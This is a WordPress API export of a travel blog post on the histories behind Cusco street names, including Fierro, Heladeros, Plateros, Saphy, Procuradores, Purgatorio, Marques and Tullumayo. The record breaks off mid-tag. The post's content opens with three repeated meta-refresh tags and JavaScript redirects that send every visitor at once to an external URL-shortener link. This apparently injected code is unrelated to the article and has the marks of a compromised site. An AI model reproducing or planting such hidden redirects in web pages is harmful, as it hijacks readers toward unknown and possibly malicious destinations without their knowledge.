{"id":11636,"date":"2025-08-06T14:42:31","date_gmt":"2025-08-06T19:42:31","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=11636"},"modified":"2025-08-06T14:42:33","modified_gmt":"2025-08-06T19:42:33","slug":"history-of-some-streets-in-cusco-part-ii","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/history-of-some-streets-in-cusco-part-ii\/","title":{"rendered":"History of Some Streets in Cusco Part II"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Cusco is probably the most culturally influential city in the whole of Peru, thanks to the fact that in the past it was the former hub of the Inca Empire. <\/p>\n\n\n\n<p>After centuries have passed, Cusco still is a cultural hub, and you can see that in its attractions, museums, and streets, our today&#8217;s blog topic.<\/p>\n\n\n\n<p>This article is a follow-up to our first blog about the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/history-of-some-streets-in-cusco\/\"><strong>history of some streets in Cusco<\/strong><\/a>. Let\u2019s see some curious, bizarre, and fascinating stories about Cusco\u2019s charming streets, and why they enrich and emphasize our knowledge. So, let\u2019s dive in.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Angel Carre\u00f1o\u2019s Work Importance<\/strong><\/h2>\n\n\n\n<p><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\"><strong>Cusco<\/strong><\/a> streets are filled with intriguing names that tell stories of the city\u2019s rich history and diverse cultures. \u00c1ngel Carre\u00f1o, a well-known historian from Cusco, revealed important information in his book <strong>&#8220;Origen de los nombres del Cuzco Colonial&#8221;<\/strong>.<\/p>\n\n\n\n<p>This well-organized book is a great tool for locals, researchers, and visitors, as it shows us that every street name in Cusco has a purpose and a story. <\/p>\n\n\n\n<p>Many names come from the colonial period, but others date back to the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-inca-empires-greatness-the-story-of-tahuantinsuyo\/\"><strong>\u201cTawantinsuyo\u201d<\/strong><\/a> era and have roots in Quechua or even Aymara.&nbsp;<\/p>\n\n\n\n<p>In his book, Carre\u00f1o categorizes Cusco&#8217;s streets based on their origins. For example,<em> <strong>Marianological names<\/strong> <\/em>like \u201cCarmen Alto\u201d and \u201cLa Merced\u201d streets reference Mary, the mother of Jesus.<\/p>\n\n\n\n<p> <em><strong>Hagiographical names<\/strong><\/em> such as \u201cSan Crist\u00f3bal\u201d and \u201cSanta Clara\u201d streets honor saints and religious sites. <strong><em>Devotional names<\/em><\/strong> point to religious practices, with streets like \u201cAlabado\u201d and \u201cTres Cruces\u201d. <\/p>\n\n\n\n<p>Some names, like \u201cCalle Almagro\u201d, come from important<em> <\/em>figures in<em> <strong>colonial history<\/strong><\/em>. Other categories include names that <strong><em>highlight features<\/em><\/strong>, such as \u201cResbalosa\u201c (slippery) and \u201cPikchuk\u2019uchu\u201d (corner of the hill).<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"865\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Portada-Carreno_Inkari.jpg?resize=697%2C865&#038;ssl=1\" alt=\"\" class=\"wp-image-11638\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Portada-Carreno_Inkari-scaled.jpg?resize=825%2C1024&amp;ssl=1 825w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Portada-Carreno_Inkari-scaled.jpg?resize=242%2C300&amp;ssl=1 242w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Portada-Carreno_Inkari-scaled.jpg?resize=768%2C953&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Portada-Carreno_Inkari-scaled.jpg?resize=1238%2C1536&amp;ssl=1 1238w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Portada-Carreno_Inkari-scaled.jpg?resize=1651%2C2048&amp;ssl=1 1651w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Portada-Carreno_Inkari-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Angel Carre\u00f1o&#8217;s book, 2021  revisited edition.<\/strong><\/figcaption><\/figure>\n\n\n\n<p><em><strong>\u00a0Evocative names<\/strong><\/em> remind us of events or feelings, like \u201cAmargura\u201d (bitterness) and \u201cTriunfo\u201d (triumph). We find both <em><strong>cautious names<\/strong><\/em>, like \u201cAta\u00fad\u201d (coffin) and \u201cPurgatorio\u201d (Purgatory).<\/p>\n\n\n\n<p>Finally,  <em><strong>playful ones<\/strong><\/em>, like Abracitos (little hugs). Streets like \u201cPlateros\u201d and \u201c Portal de Carnes\u201d show the<em><strong> trades <\/strong><\/em>that were once important there.<\/p>\n\n\n\n<p>The names also celebrate the local wildlife and plants, some of them include <strong><em>phytotoponyms<\/em><\/strong> like \u201cDe la Coca\u201d and \u201cArray\u00e1n\u201d. <\/p>\n\n\n\n<p>Some streets have<em><strong> zoonotic names<\/strong><\/em>, such as \u201cAmaruqhata\u201d (Amaru&#8217;s terrace) and \u201cSiete Culebras\u201d (seven snakes).<\/p>\n\n\n\n<p>Some street names like Siete Angelitos (Seven Little Angels) and Siete Culebras (Seven Little Snakes)&nbsp; have <em><strong>mystical meanings<\/strong><\/em>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Cusco Streets History<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Fierro<\/strong><\/h3>\n\n\n\n<p>This street is closely related to the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/\"><strong>Spanish conquest<\/strong><\/a><strong>.&nbsp; <\/strong>The story says that Nicanor Ferro was a cruel Spanish \u201cencomendero\u201d. <\/p>\n\n\n\n<p>An \u201cencomendero\u201d was a colonizer who participated in the&nbsp;\u201cencomienda\u201d, a system where Spaniards were in charge of &#8220;indoctrinating&#8221; and &#8220;educating&#8221; Indigenous people.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"547\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/fierro-st.jpg?resize=697%2C547&#038;ssl=1\" alt=\"\" class=\"wp-image-11639\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/fierro-st.jpg?resize=1024%2C803&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/fierro-st.jpg?resize=300%2C235&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/fierro-st.jpg?resize=768%2C602&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/fierro-st.jpg?resize=1536%2C1205&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/fierro-st.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/fierro-st.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>La Encomienda aimed to create a partnership, as the encomendero would receive labor, tribute, or goods from Indigenous communities. In return, they had to protect and guide these communities, especially in Christianity.<\/p>\n\n\n\n<p>&nbsp;Some encomenderos prioritized their wealth over their duties, like Ferro, who had 4 properties and 2 barns on this street. <\/p>\n\n\n\n<p>Later, the name was slightly changed from \u201cFerro\u201d to \u201cFierro\u201d (iron), which is what people call the street today.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Heladeros<\/strong><\/h3>\n\n\n\n<p>Originally, this street was called \u201cQquilli\u201d, a <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quechua-words-and-meanings\/\"><strong>Quechua<\/strong><\/a> term related to a bird, due to flocks formed in roof houses. Later, a Cusco woman, Ines de Rivera, along with his old husband, Daniel Estarvitan, set up two ice cream shops.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52911055955_b7e61fcdb3_k-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-11641\" style=\"width:840px;height:auto\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52911055955_b7e61fcdb3_k-1.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52911055955_b7e61fcdb3_k-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52911055955_b7e61fcdb3_k-1.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52911055955_b7e61fcdb3_k-1.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52911055955_b7e61fcdb3_k-1.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52911055955_b7e61fcdb3_k-1.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52911055955_b7e61fcdb3_k-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Locals at that time called \u201cchiri negocios\u201d or \u201c negocios del frio\u201d, which means \u201c businesses of cold\u201d, both terms related to the ice cream shops.&nbsp;<\/p>\n\n\n\n<p>Later, this street received the curious name \u201cheladeros\u201d (Ice cream vendors in english, which is kinda fun, isn&#8217;t it?)&nbsp;<\/p>\n\n\n\n<p>Although there are no ice cream shops around, if you want to eat ice cream on Ice Cream Vendors Street, you can do it in some cafes nearby.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Plateros<\/strong><\/h3>\n\n\n\n<p>In 1769, the city council recorded the street under the name &#8220;Calle de la Plater\u00eda&#8221; (Silversmith Street). Historian Horacio Villanueva notes that there is no proof of silversmith workshops in this area. <\/p>\n\n\n\n<p>However, \u00c1ngel Carre\u00f1o argues that the street earned its name because it became a hub for master silversmiths.<\/p>\n\n\n\n<p>&nbsp;Notable silversmiths worked in this area, such as Quint\u00edn de Alonso, Cosme de la Vega, Diego de Peralta, and Javier de Urribarry y Vascones.&nbsp; <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"932\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9406420724_008bfc3032_4k.jpg?resize=697%2C932&#038;ssl=1\" alt=\"\" class=\"wp-image-11642\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9406420724_008bfc3032_4k-scaled.jpg?resize=766%2C1024&amp;ssl=1 766w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9406420724_008bfc3032_4k-scaled.jpg?resize=224%2C300&amp;ssl=1 224w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9406420724_008bfc3032_4k-scaled.jpg?resize=768%2C1026&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9406420724_008bfc3032_4k-scaled.jpg?resize=1149%2C1536&amp;ssl=1 1149w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9406420724_008bfc3032_4k-scaled.jpg?resize=1532%2C2048&amp;ssl=1 1532w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9406420724_008bfc3032_4k-scaled.jpg?w=1915&amp;ssl=1 1915w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9406420724_008bfc3032_4k-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>From then until the late colonial era, the street was known as &#8220;Calle de las Plater\u00edas,&#8221;&nbsp; but now, people call it \u201cPlateros Street\u201d.<\/p>\n\n\n\n<p>Plateros Street is next to the main square, and it\u2019s a vibrant venue in Cusco\u2019s downtown. Although there are still some silverware shops, you can also find restaurants, pubs, and other places where you can discover the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-cuscos-nightlife-bars-music-and-late-night-fun\/\"><strong>nightlife in Cusco.<\/strong><\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Saphy<\/strong><\/h3>\n\n\n\n<p>One key feature of Inca design is the balance between nature and spirituality. You can see this balance on Saphy Street, one of Cusco\u2019s most famous streets, named after the Saphy River, which followed its flow. <\/p>\n\n\n\n<p>The river&#8217;s waters flowed gracefully from the east and north.&nbsp;The Incas cherished this river for bringing purity and renewal to their city and people.<\/p>\n\n\n\n<p>It\u2019s interesting to note that in <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/10-quechua-street-names-in-cusco-and-what-they-really-mean\/\" title=\"\">Quechua<\/a><\/strong>, &#8220;Saphi&#8221; means &#8220;root&#8221; or &#8220;origin,&#8221; which shows that this street was Cusco\u2019s gateway and a vital source of life that supported Inca farming and spiritual practices.\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"376\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/281211998_3113700125561649_4583488700923250171_n.jpg?resize=697%2C376&#038;ssl=1\" alt=\"\" class=\"wp-image-11643\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/281211998_3113700125561649_4583488700923250171_n.jpg?resize=1024%2C553&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/281211998_3113700125561649_4583488700923250171_n.jpg?resize=300%2C162&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/281211998_3113700125561649_4583488700923250171_n.jpg?resize=768%2C415&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/281211998_3113700125561649_4583488700923250171_n.jpg?w=1113&amp;ssl=1 1113w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Saphy Street, almost 100 years ago.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>This river marked the boundary between Hanan and Hurin Cusco, the city\u2019s upper part and lower part, respectively. <\/p>\n\n\n\n<p>&nbsp;The Saphi River also joined with other rivers to create the Watanay River, nourishing the surrounding terraces.<\/p>\n\n\n\n<p>In 1548, the Spanish transformed the river into a street by covering it with stone arches, altering its original look. Yet, the Saphi River still holds deep symbolic meaning. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9093229.jpg?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-11644\" style=\"width:840px;height:auto\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9093229.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9093229.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9093229.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/9093229.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Saphy Street in the current day.<\/strong><\/figcaption><\/figure>\n\n\n\n<p>Overall, the Saphi River has been a vital part of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/?s=duality&amp;submit=Search\"><strong>Inca duality <\/strong><\/a>beliefs, symbolizing life, health, and spiritual renewal.&nbsp;<\/p>\n\n\n\n<p>Even though its physical form has changed, its cultural significance continues to thrive today. You can see inca walls, colonial houses, and cobblestone paths on this street. When in Cusco, we encourage you to take a walk around.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">&nbsp;<strong>Procuradores<\/strong><\/h3>\n\n\n\n<p>This street once housed the &#8220;Procuradores de la Real Audiencia del Cusco&#8221; during <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-cuscos-andean-colonial-architecture\/\"><strong>colonial<\/strong><\/a> times. The &#8220;Ruindad de Compadre&#8221; connects it to the Cathedral Plaza. Today, Procuradores Street bustles with tourists, travel agencies, restaurants, and shops that cater to them.&nbsp;<\/p>\n\n\n\n<p>At night, it becomes a notorious hub for nightlife in Cusco. \u201cProcu,\u201d as some people call this street, was once a spot for illegal activities in Cusco, as disguised individuals offering drugs, robbers, and lots of drunk people.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"463\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52249289717_283d5985fa_h.jpg?resize=697%2C463&#038;ssl=1\" alt=\"\" class=\"wp-image-11645\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52249289717_283d5985fa_h.jpg?resize=1024%2C680&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52249289717_283d5985fa_h.jpg?resize=300%2C199&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52249289717_283d5985fa_h.jpg?resize=768%2C510&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52249289717_283d5985fa_h.jpg?resize=1536%2C1020&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52249289717_283d5985fa_h.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52249289717_283d5985fa_h.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52249289717_283d5985fa_h.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>&nbsp;After the pandemic, authorities have noticed the influence of these acts, which is why you can see security guards and even police walking around this street at night. If you want to have a good time and enjoy the nightlife in Cusco, \u201cProcu\u201d could be your best bet.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Purgatorio<\/strong><\/h3>\n\n\n\n<p>&#8220;Purgatory Street&#8221; has a strong religious influence, and its story is quite fascinating. In 1640, Clotilde, a kind-hearted young woman, became an orphan after losing her mother and brother. <\/p>\n\n\n\n<p>Left vulnerable, she became the target of Do\u00f1a Servanda G\u00f3mez, an ambitious woman who schemed for her son Joaqu\u00edn to marry Clotilde and inherit her wealth.&nbsp;<\/p>\n\n\n\n<p>Finally, both get married; however, mother and son discover Clotilde only had her family home on Huaynapata Street. <\/p>\n\n\n\n<p>After knowing that, Joaqu\u00edn and his mother subjected Clotilde to years of mistreatment. After Do\u00f1a Servanda&#8217;s death, Joaqu\u00edn descended into despair, losing his job and further abusing Clotilde.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/5350060311_d1eedb4287_k.jpg?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-11646\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/5350060311_d1eedb4287_k.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/5350060311_d1eedb4287_k.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/5350060311_d1eedb4287_k.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/5350060311_d1eedb4287_k.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/5350060311_d1eedb4287_k.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/5350060311_d1eedb4287_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/5350060311_d1eedb4287_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>To stay financially stable, Joaqu\u00edn devised a chilling ruse: dressing as a ghostly figure with a flaming pot and a donation box, he haunted Cusco\u2019s streets, collecting alms under the guise of a restless soul seeking redemption.<\/p>\n\n\n\n<p> His eerie appearances terrified locals, earning the alley the name \u201cPurgatory Street.\u201dJoaqu\u00edn\u2019s life unraveled further after the devastating earthquake of 1650. <\/p>\n\n\n\n<p>He lost his home, health, and wife, Clotilde, becoming a paralyzed and penniless shadow of his former self. Locals saw his suffering as karmic justice for his cruelty, believing he was living his purgatory on Earth.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Marques<\/strong>&nbsp;<\/h3>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"512\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/342385432_153750170732434_4916991749569034384_n.jpg?resize=697%2C512&#038;ssl=1\" alt=\"\" class=\"wp-image-11647 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/342385432_153750170732434_4916991749569034384_n.jpg?w=720&amp;ssl=1 720w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/342385432_153750170732434_4916991749569034384_n.jpg?resize=300%2C220&amp;ssl=1 300w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>&nbsp;This is a vibrant street in Cusco that connects directly to the main square. Marques has become a favorite spot for both locals and visitors, and it has a fascinating history that dates back to Inca times. In the days of the Tahuantinsuyo, this street was the main entrance to Huacaypata, which we now call the Plaza Mayor.&nbsp;<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"353\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Calle-Marques-C.-scaled-1.webp?resize=697%2C353&#038;ssl=1\" alt=\"\" class=\"wp-image-11813 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Calle-Marques-C.-scaled-1.webp?resize=1024%2C518&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Calle-Marques-C.-scaled-1.webp?resize=300%2C152&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Calle-Marques-C.-scaled-1.webp?resize=768%2C389&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Calle-Marques-C.-scaled-1.webp?resize=1536%2C778&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Calle-Marques-C.-scaled-1.webp?resize=2048%2C1037&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/Calle-Marques-C.-scaled-1.webp?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>This area has beautiful houses, one is the home of the Marqu\u00e9s de San Lorenzo de Valleumbroso, which it\u2019s a National Monument today.&nbsp; While he played an important role in the area, he is also remembered for his harsh leadership, which adds complexity to Cusco&#8217;s rich history.<\/p>\n<\/div><\/div>\n\n\n\n<p>Currently, this historic mansion is home to the University of Art, named after the famous Cusque\u00f1o painter, <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/diego-quispe-tito-the-master-painter-of-cusco\/\" title=\"\">Diego Quispe Tito<\/a><\/strong>. <\/p>\n\n\n\n<p>Marques Street also has stores,<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/where-to-eat-in-cusco-3-top-picks\/\" title=\"\"> restaurants<\/a><\/strong>, cafes, and shops where you can find the best of Cusco and Peru\u2019s handicrafts. Above you can see this street almost 60 years ago, and how it looks today.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Tullumayo<\/strong><\/h3>\n\n\n\n<p>This ancient and popular street in the city was called after the Tullumayo River, or &#8220;River of Bones&#8221; in the Quechua language. <\/p>\n\n\n\n<p>It used to flow through the heart of Cusco&#8217;s historic center. Alongside the Saphy River, it shaped the valley where the Incas established their royal palaces.<\/p>\n\n\n\n<p>The Tullumayo River starts at Sacsayhuam\u00e1n Hill,&nbsp; flowing down through Sapantiana, along what we now call Choquechaka Street and Tullumayo Avenue. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"682\" height=\"481\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/70378252_1876475122498855_8640151298085224448_n.jpg?resize=682%2C481&#038;ssl=1\" alt=\"\" class=\"wp-image-11648\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/70378252_1876475122498855_8640151298085224448_n.jpg?w=682&amp;ssl=1 682w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/70378252_1876475122498855_8640151298085224448_n.jpg?resize=300%2C212&amp;ssl=1 300w\" sizes=\"auto, (max-width: 682px) 100vw, 682px\" \/><figcaption 